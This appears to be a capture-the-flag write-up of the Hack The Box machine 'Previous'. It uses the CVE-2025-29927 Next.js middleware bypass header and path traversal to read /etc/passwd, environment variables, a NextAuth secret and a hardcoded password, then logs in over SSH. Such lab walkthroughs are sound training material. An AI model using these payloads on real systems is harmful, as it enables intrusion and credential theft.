Post

Previous [Medium]

Posted Updated
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By 2Fa0n
21 min read
Previous [Medium]

Previous HTB Release Area Machine

Machine information

Author: brun0ne

Enumeration

Nmap

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└─$ sudo nmap -Pn -sC -sV 10.129.109.233
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 23:38 EDT
Nmap scan report for 10.129.109.233
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.03 seconds

Add these to /etc/hosts file:

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10.129.109.233     previous.htb

Let’s check the web server.

Web Enumeration

Go to http://previous.htb.

Previous Website

Then when we hover to Contact we see email.

Previous Website Contact

Found out jeremy@previous.htb, so if we found any password, we can use this to ssh into the machine.

When we click on Get Started or Docs, we will be redirected to this page.

Previous Website Get Stared and Docs

We got this path http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs for latter discovery.

Let’s check out the techstack of this website.

Previous Website Techstack

So this website use Next.js 15.2.2 and then searching for public exploit or related cve.
→ We found out Next.js Middleware Auth Bypass and was assigned to CVE-2025-29927.

CVE-2025-29927

Searching for exploit github poc and found out this exploit-CVE-2025-29927 to help me identify the vulnerability.

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└─$ python3 exploit-CVE-2025-29927.py -u http://previous.htb/ -v 15.2.2 

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
UNICORD: Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
TARGETS: http://previous.htb/
PREPARE: Target is running Next.js!
VERSION: Targeting Next.js version 15.2.2 (Vulnerable)

PAYLOAD: {'X-Middleware-Subrequest': 'middleware:middleware:middleware:middleware:middleware'}
EXPLOIT: Payload sent!
FAILURE: Authorization bypass header failed.

PAYLOAD: {'X-Middleware-Subrequest': 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'}
EXPLOIT: Payload sent!
FAILURE: Authorization bypass header failed.
ERRORED: Exploitation failed! Target may not be vulnerable.

So we got problem due to Authorization failed and Exploitation failed which we though that it will got SUCCESS.
→ But if we look back the path we got, if we try to with http://previous.htb/api/ could it work?

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└─$ python3 exploit-CVE-2025-29927.py -u http://previous.htb/api/ -v 15.2.2

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
UNICORD: Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
TARGETS: http://previous.htb/api/
PREPARE: Target is running Next.js!
VERSION: Targeting Next.js version 15.2.2 (Vulnerable)

PAYLOAD: {'X-Middleware-Subrequest': 'middleware:middleware:middleware:middleware:middleware'}
EXPLOIT: Payload sent!
SUCCESS: Authorization bypass header found!
OUTPUTS: Response written to file: nextjs_bypass_previous.htb.html
REQUEST: curl -i -k "http://previous.htb/api/" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Noice! We got the SUCCESS and we can see the response in the file nextjs_bypass_previous.htb.html.

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└─$ cat nextjs_bypass_previous.htb.html 
<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">404: This page could not be found</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer=""></script><script src="/_next/static/chunks/pages/_error-41608b100cc61246.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div style="font-family:system-ui,&quot;Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;align-items:center;justify-content:center"><div style="line-height:48px"><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block;margin:0 20px 0 0;padding-right:23px;font-size:24px;font-weight:500;vertical-align:top">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;line-height:28px">This page could not be found<!-- -->.</h2></div></div></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"statusCode":404}},"page":"/_error","query":{},"buildId":"qVDR2cKpRgqCslEh-llk9","nextExport":true,"isFallback":false,"gip":true,"scriptLoader":[]}</script></body></html>

And we also found out other github poc CVE-2025-29927-PoC-Exploit which also quite similar but this one is more detailed.

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└─$ python3 CVE-2025-29927-check.py                                                                                          
Domain (or full URL): http://previous.htb/api/
[+] Full path provided. Testing only endpoint: /api/
[*] Connecting to base URL: http://previous.htb
[*] Total endpoints to test: 1

[>] Testing endpoint: http://previous.htb/api/
[*] Sending baseline request to: http://previous.htb/api/
[*] Testing payload 'pages/_middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'pages/_middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'src/middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'src/middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'middleware:middleware:middleware:middleware:middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'middleware:middleware:middleware:middleware:middleware': baseline_status=200, test_status=404, vulnerable=True
[*] Testing payload 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware': baseline_status=200, test_status=200, vulnerable=False

Final Results:
[
  {
    "path": "/api/",
    "payload": "pages/_middleware",
    "baseline_status": 200,
    "test_status": 200,
    "baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
    "content_different": false,
    "vulnerable": false
  },
  {
    "path": "/api/",
    "payload": "middleware",
    "baseline_status": 200,
    "test_status": 200,
    "baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
    "content_different": false,
    "vulnerable": false
  },
  {
    "path": "/api/",
    "payload": "src/middleware",
    "baseline_status": 200,
    "test_status": 200,
    "baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
    "content_different": false,
    "vulnerable": false
  },
  {
    "path": "/api/",
    "payload": "middleware:middleware:middleware:middleware:middleware",
    "baseline_status": 200,
    "test_status": 404,
    "baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
    "content_different": true,
    "vulnerable": true
  },
  {
    "path": "/api/",
    "payload": "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware",
    "baseline_status": 200,
    "test_status": 200,
    "baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
    "content_different": false,
    "vulnerable": false
  }
]

Either worked really well, so we know that we can bypass the login by injesting this Header into the request.

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X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

So now let’s fuzzing with this header to see if we can found any other endpoints.

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└─$ gobuster dir -u http://previous.htb/api/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 400) [Size: 28]
Progress: 23986 / 30000 (79.95%)[ERROR] parse "http://previous.htb/api/error\x1f_log": net/url: invalid control character in URL
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================

We got /download endpoint, let’s check it out.

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└─$ curl -i http://previous.htb/api/download -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:41:16 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 28
Connection: keep-alive
ETag: "vpkl9mnjvgs"
Vary: Accept-Encoding

{"error":"Invalid filename"}

Seems like we need to have a correct parameter.
→ Let’s fuzzing for parameter.

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└─$ gobuster fuzz -u "http://previous.htb/api/download?FUZZ=test.txt" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" --exclude-length 28
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://previous.htb/api/download?FUZZ=test.txt
[+] Method:           GET
[+] Threads:          10
[+] Wordlist:         /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
[+] Exclude Length:   28
[+] User Agent:       gobuster/3.6
[+] Timeout:          10s
===============================================================
Starting gobuster in fuzzing mode
===============================================================
Found: [Status=404] [Length=26] [Word=example] http://previous.htb/api/download?example=test.txt

Progress: 6453 / 6454 (99.98%)
===============================================================
Finished
===============================================================

So we are up to this part, getting some assumptions that if we can path traversal on this path.
→ Let’s check it out to see if we can read /etc/passwd.

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└─$ curl -i "http://previous.htb/api/download?example=../../../etc/passwd" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:53:48 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename=../../../etc/passwd
ETag: "41amqg1v4m26j"

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Okay, so we got a good sign from Local File Inclusion (LFI).
→ Now we will check the enviroment variable.

LFI

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└─$ curl -i "http://previous.htb/api/download?example=../../../proc/self/environ" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" --output result.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   216  100   216    0     0    156      0  0:00:01  0:00:01 --:--:--   156

└─$ cat result.txt                                                                                                                                                                        
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:59:27 GMT
Content-Type: application/zip
Content-Length: 216
Connection: keep-alive
Content-Disposition: attachment; filename=../../../proc/self/environ
ETag: "151dqoq1n56jy"

NODE_VERSION=18.20.8HOSTNAME=0.0.0.0YARN_VERSION=1.22.22SHLVL=1PORT=3000HOME=/home/nextjsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNEXT_TELEMETRY_DISABLED=1PWD=/appNODE_ENV=production

We got some information about the machine.
→ Take a look more from Next.js Project Structure and based on experience.

Discovery

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/.env" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:09:29 GMT
Content-Type: application/zip
Content-Length: 49
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.env
ETag: "14ro7p5qyfd4v"

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

Found out this NEXTAUTH_SECRET which we can use to forge the JWT token.

But I do not use this to forge as admin to exploit more so if you can try it out and let me know if it works. =)

Let’s check out server.js file.

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/server.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:26:29 GMT
Content-Type: application/zip
Content-Length: 6009
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/server.js
ETag: "48xgv9zfn0go1"

const path = require('path')

const dir = path.join(__dirname)

process.env.NODE_ENV = 'production'
process.chdir(__dirname)

const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'

let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/"},"lodash":{"transform":"lodash/"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}

process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)

require('next')
const { startServer } = require('next/dist/server/lib/start-server')

if (
  Number.isNaN(keepAliveTimeout) ||
  !Number.isFinite(keepAliveTimeout) ||
  keepAliveTimeout < 0
) {
  keepAliveTimeout = undefined
}

startServer({
  dir,
  isDev: false,
  config: nextConfig,
  hostname,
  port: currentPort,
  allowRetry: false,
  keepAliveTimeout,
}).catch((err) => {
  console.error(err);
  process.exit(1);
});

Got more details about this "distDir":"./.next" so we build, all the complied file will be in this directory.
→ Checking out routes-manifest.json to know all the static and dynamic routes that Next.js handle

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:27:57 GMT
Content-Type: application/zip
Content-Length: 2548
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/routes-manifest.json
ETag: "9g13nceds96qd"

{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
    {
      "page": "/docs/[section]",
      "regex": "^/docs/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPsection": "nxtPsection"
      },
      "namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
    }
  ],
  "staticRoutes": [
    {
      "page": "/",
      "regex": "^/(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/(?:/)?$"
    },
    {
      "page": "/docs",
      "regex": "^/docs(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs(?:/)?$"
    },
    {
      "page": "/docs/components/layout",
      "regex": "^/docs/components/layout(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/layout(?:/)?$"
    },
    {
      "page": "/docs/components/sidebar",
      "regex": "^/docs/components/sidebar(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/sidebar(?:/)?$"
    },
    {
      "page": "/docs/content/examples",
      "regex": "^/docs/content/examples(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/examples(?:/)?$"
    },
    {
      "page": "/docs/content/getting-started",
      "regex": "^/docs/content/getting\\-started(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/getting\\-started(?:/)?$"
    },
    {
      "page": "/signin",
      "regex": "^/signin(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/signin(?:/)?$"
    }
  ],
  "dataRoutes": [],
  "rsc": {
    "header": "RSC",
    "varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
    "prefetchHeader": "Next-Router-Prefetch",
    "didPostponeHeader": "x-nextjs-postponed",
    "contentTypeHeader": "text/x-component",
    "suffix": ".rsc",
    "prefetchSuffix": ".prefetch.rsc",
    "prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
    "prefetchSegmentSuffix": ".segment.rsc",
    "prefetchSegmentDirSuffix": ".segments"
  },
  "rewriteHeaders": {
    "pathHeader": "x-nextjs-rewritten-path",
    "queryHeader": "x-nextjs-rewritten-query"
  },
  "rewrites": []
}

We found the auth part but when we try it out.

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/pages/api/auth/%5B...nextauth%5D.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:35:03 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 26
Connection: keep-alive
ETag: "c8wflmak5q"
Vary: Accept-Encoding

{"error":"File not found"}

Got this error, maybe we need to fuzzing more to find the right path and as we know that all compiled file will be in .next directory.
→ Let’s fuzzing from /.next directory.

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└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api/download?example=../../../app/.next/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 500) [Size: 21]
/server               (Status: 500) [Size: 21]

Got 2 dir, we will go with /server.

We can also got these path from Next.js build API

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└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/server/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api/download?example=../../../app/.next/server/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pages                (Status: 500) [Size: 21]

Gonna keep going.

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└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/server/pages/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api/download?example=../../../app/.next/server/pages/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs                 (Status: 500) [Size: 21]
/api                  (Status: 500) [Size: 21]

So we are there, /api back to to /api/auth/[...nextauth].js that we can see the auth part.

For more information, check out Next-Auth.js API Route

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
curl: (3) bad range specification in URL position 84:
http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js
                                                                                   ^

So we need to encode these two [ and ] to make sure what website will not misunderstand that we want the file not the range.

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└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:49:18 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/auth/[...nextauth].js
ETag: "ihx6eiwskd47b"

"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

There we go, found out credentials for jeremy.
→ jeremy:MyNameIsJeremyAndILovePancakes

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└─$ ssh jeremy@10.129.109.233     
jeremy@10.129.109.233's password: 
jeremy@previous:~$ ls -la
